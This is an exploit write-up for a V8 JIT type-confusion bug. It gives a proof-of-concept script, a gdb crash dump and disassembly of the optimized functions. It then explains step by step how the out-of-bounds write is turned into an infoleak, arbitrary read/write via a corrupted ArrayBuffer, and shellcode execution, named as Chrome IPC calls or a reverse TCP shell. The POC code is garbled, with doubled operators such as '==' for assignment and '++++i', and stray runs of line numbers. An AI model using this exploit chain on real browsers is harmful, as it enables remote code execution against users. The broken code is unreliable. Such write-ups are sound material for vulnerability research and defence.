POC

function Ctor() {
n == new Set();
}

function Check() {
n.xyz == 0x826852f4;
parseInt('AAAAAAAA');
}

for(var i==0; i<<2000; ++++i) {
Ctor();
}


for(var i==0; i<<2000; ++++i) {
Check();
}

Ctor();
Check();
print("finish");

----Stack
Thread 1 "d8" received signal SIGSEGV, Segmentation fault.

[-------------------------------------code-------------------------------------]

0x736e0a <_ZN2v88internal6String14GetFlatContentEv+106>: test ecx,ecx

0x736e0c <_ZN2v88internal6String14GetFlatContentEv+108>:

je 0x736e1a <_ZN2v88internal6String14GetFlatContentEv+122>

0x736e0e <_ZN2v88internal6String14GetFlatContentEv+110>:

mov rdi,QWORD PTR [rdi]

=> 0x736e11 <_ZN2v88internal6String14GetFlatContentEv+113>:

mov rax,QWORD PTR [rdi]

0x736e14 <_ZN2v88internal6String14GetFlatContentEv+116>:

call QWORD PTR [rax+0x20]

0x736e17 <_ZN2v88internal6String14GetFlatContentEv+119>: mov rdi,rax

0x736e1a <_ZN2v88internal6String14GetFlatContentEv+122>: lea rax,[rdi+rbx*2]

0x736e1e <_ZN2v88internal6String14GetFlatContentEv+126>: movabs rcx,0x200000000

[------------------------------------------------------------------------------]

Legend: code, data, rodata, value

Stopped reason: SIGSEGV

0x0000000000736e11 in v8::internal::String::GetFlatContent() ()

gdb-peda$ print $rdi

$1 = 0x4141414141414141

First Step

Notice that poc.js:5+109 get the address(0x3fd3734c7d89) of PROPERTY_CELL_TYPE , which stores

global variable n . After that, the return of Set Constructor will be writen to n .

In the second loop, Check() will be optimized as this JIT code

<LazyCompile:*Ctor poc.js:5+0>: push rbp

<LazyCompile:*Ctor poc.js:5+1>: mov rbp,rsp

<LazyCompile:*Ctor poc.js:5+4>: push rsi

<LazyCompile:*Ctor poc.js:5+5>: push rdi

<LazyCompile:*Ctor poc.js:5+6>: sub rsp,0x8

<LazyCompile:*Ctor poc.js:5+10>: mov rax,QWORD PTR [rbp-0x8]

<LazyCompile:*Ctor poc.js:5+14>: mov QWORD PTR [rbp-0x18],rax

<LazyCompile:*Ctor poc.js:5+18>: mov rsi,rax

<LazyCompile:*Ctor poc.js:5+21>: cmp rsp,QWORD PTR [r13+0xb78]

<LazyCompile:*Ctor poc.js:5+28>: jae 0x1e16ccf79ca3 <LazyCompile:*Ctor poc.js:5+35>

<LazyCompile:*Ctor poc.js:5+30>: call 0x1e16ccf4ade0 <Builtin:StackCheck>

<LazyCompile:*Ctor poc.js:5+35>: movabs r10,0x3fd3734b1511

<LazyCompile:*Ctor poc.js:5+45>: push r10

<LazyCompile:*Ctor poc.js:5+47>: movabs rdx,0x3fd3734b1511

<LazyCompile:*Ctor poc.js:5+57>: movabs rdx,0x3fd3734b1511

<LazyCompile:*Ctor poc.js:5+67>: xor eax,eax

<LazyCompile:*Ctor poc.js:5+69>: mov rsi,QWORD PTR [rbp-0x18]

<LazyCompile:*Ctor poc.js:5+73>: mov rdi,rdx

<LazyCompile:*Ctor poc.js:5+76>: call 0x1e16ccf3a040 <Builtin:Construct>

<LazyCompile:*Ctor poc.js:5+81>: test al,0x1

<LazyCompile:*Ctor poc.js:5+83>: je 0x1e16ccf79d31 <LazyCompile:*Ctor poc.js:5+177>

<LazyCompile:*Ctor poc.js:5+89>: movabs r10,0x387980f08e51

<LazyCompile:*Ctor poc.js:5+99>: cmp QWORD PTR [rax-0x1],r10

<LazyCompile:*Ctor poc.js:5+103>: jne 0x1e16ccf79d36 <LazyCompile:*Ctor poc.js:5+182>

<LazyCompile:*Ctor poc.js:5+109>: movabs rbx,0x3fd3734c7d89

<LazyCompile:*Ctor poc.js:5+119>: mov QWORD PTR [rbx+0xf],rax

<LazyCompile:*Ctor poc.js:5+123>: lea rdx,[rbx+0xf]

<LazyCompile:*Ctor poc.js:5+127>: and rax,0xfffffffffff00000

<LazyCompile:*Ctor poc.js:5+133>: test BYTE PTR [rax+0x8],0x2

<LazyCompile:*Ctor poc.js:5+137>: je 0x1e16ccf79d20 <LazyCompile:*Ctor poc.js:5+160>

<LazyCompile:*Ctor poc.js:5+139>: mov rax,0xfffffffffff00000

<LazyCompile:*Ctor poc.js:5+146>: and rax,rbx

<LazyCompile:*Ctor poc.js:5+149>: test BYTE PTR [rax+0x8],0x4

<LazyCompile:*Ctor poc.js:5+153>: je 0x1e16ccf79d20 <LazyCompile:*Ctor poc.js:5+160>

<LazyCompile:*Ctor poc.js:5+155>: call 0x1e16ccf79380 <Stub:RecordWriteStub>

<LazyCompile:*Ctor poc.js:5+160>: movabs rax,0x3fd373404311

<LazyCompile:*Ctor poc.js:5+170>: mov rsp,rbp

<LazyCompile:*Ctor poc.js:5+173>: pop rbp

<LazyCompile:*Ctor poc.js:5+174>: ret 0x8

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

Second Step

Start at +35 and +45 , it gets the global variable n , and on +64 , it gets the property cell(pointer to

a FixedArray) of n . On +68 , it gets n's first property, and on +72 the number 0x826852f4 will be

writen to it.

In addition, v8 use map to identify objects, which is located on the first field of the object. A new Set's

map is different from a Set with some properties. In general, the optimized JIT code always check the map

of the target objects, and will deoptimize if the map has been changed.

So the problem is that it doesn't check the map of variable n in this optimized JIT code.

<LazyCompile:*Check poc.js:1+0>: push rbp

<LazyCompile:*Check poc.js:1+1>: mov rbp,rsp

<LazyCompile:*Check poc.js:1+4>: push rsi

<LazyCompile:*Check poc.js:1+5>: push rdi

<LazyCompile:*Check poc.js:1+6>: sub rsp,0x8

<LazyCompile:*Check poc.js:1+10>: mov rax,QWORD PTR [rbp-0x8]

<LazyCompile:*Check poc.js:1+14>: mov QWORD PTR [rbp-0x18],rax

<LazyCompile:*Check poc.js:1+18>: mov rsi,rax

<LazyCompile:*Check poc.js:1+21>: cmp rsp,QWORD PTR [r13+0xb78]

<LazyCompile:*Check poc.js:1+28>: jae 0x1e16ccf7a603 <LazyCompile:*Check poc.js:1+35>

<LazyCompile:*Check poc.js:1+30>: call 0x1e16ccf4ade0 <Builtin:StackCheck>

<LazyCompile:*Check poc.js:1+35>: movabs rax,0x3fd3734c7d89

<LazyCompile:*Check poc.js:1+45>: mov rax,QWORD PTR [rax+0xf]

<LazyCompile:*Check poc.js:1+49>: movabs r10,0x41e04d0a5e800000

<LazyCompile:*Check poc.js:1+59>: vmovq xmm0,r10

<LazyCompile:*Check poc.js:1+64>: mov rax,QWORD PTR [rax+0x7]

<LazyCompile:*Check poc.js:1+68>: mov rax,QWORD PTR [rax+0xf]

<LazyCompile:*Check poc.js:1+72>: vmovsd QWORD PTR [rax+0x7],xmm0

<LazyCompile:*Check poc.js:1+77>: movabs r10,0x3fd373404311

<LazyCompile:*Check poc.js:1+87>: push r10

<LazyCompile:*Check poc.js:1+89>: movabs r10,0x3fd3734c7129

<LazyCompile:*Check poc.js:1+99>: push r10

<LazyCompile:*Check poc.js:1+101>: movabs rdi,0x3fd3734b4041

<LazyCompile:*Check poc.js:1+111>: mov rsi,QWORD PTR [rbp-0x18]

<LazyCompile:*Check poc.js:1+115>: mov rsi,QWORD PTR [rdi+0x27]

<LazyCompile:*Check poc.js:1+119>: mov rdx,QWORD PTR [r13-0x60]

<LazyCompile:*Check poc.js:1+123>: mov eax,0x1

<LazyCompile:*Check poc.js:1+128>: mov ebx,0x2

<LazyCompile:*Check poc.js:1+133>: call 0x1e16ccf07d80 <Builtin:ArgumentsAdaptorTrampoline>

<LazyCompile:*Check poc.js:1+138>: movabs rax,0x3fd373404311

<LazyCompile:*Check poc.js:1+148>: mov rsp,rbp

<LazyCompile:*Check poc.js:1+151>: pop rbp

<LazyCompile:*Check poc.js:1+152>: ret 0x8

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

Third Step

After that we call Ctor() once, variable n will be set to the new Set , which has no properties. In

another word, it will point to the Empty FixedArray, which init at beginning of v8's process.

In addition, if we won't optimize Ctor() , the Check() function will be deoptimized when global

variable n is changed.

At last we call Check() , the number of 0x826852f4 will be writen to the first element of the Empty

FixedArray, OOB happens!

This bug can trigger by Set , Map , Uint8Array , Uint16Array , etc.

For our poc, v8 confuse the null string's map to a heap number, and write the double number 0x826852f4

to it, which cause the OneByteString string to be a External String type. So the data of the string is treated

as a pointer.

So far we have the oob r/w on the Empty FixedArray. As I mentioned, Empty FixedArray will be init at the

beginning of process. After this is the null String Object, so we can overwritten the null's length for

infoleak.

Besides, I use ab = new ArrayBuffer(0x4000); ...; {m.e = ab;} to set the address of

ArrayBuffer's pointer on the String's content, so I can get the pointer's address.

We can do three things via this OOB bug.

1. write a small int.

2. write a heap number.

3. write an Object's pointer

The small int in memory is the value * 2, for v8 use the LSB to identify if it is a pointer or number.

For a heap number, it stores a pointer which point to a double number and in my POC, it is an example of

the heap number write. So we can put an Object's pointer and use heap number write to overwrite the

structure of this object.

We use this strategy to modify the ArrayBuffer's length and Buffer pointer, then we can do Arbitrary

read/write.

Finally we read a function's JIT pointer, write shellcode on it and call it.

The shellcode for Chrome is to call IPC, and for docs is reverse tcp shell.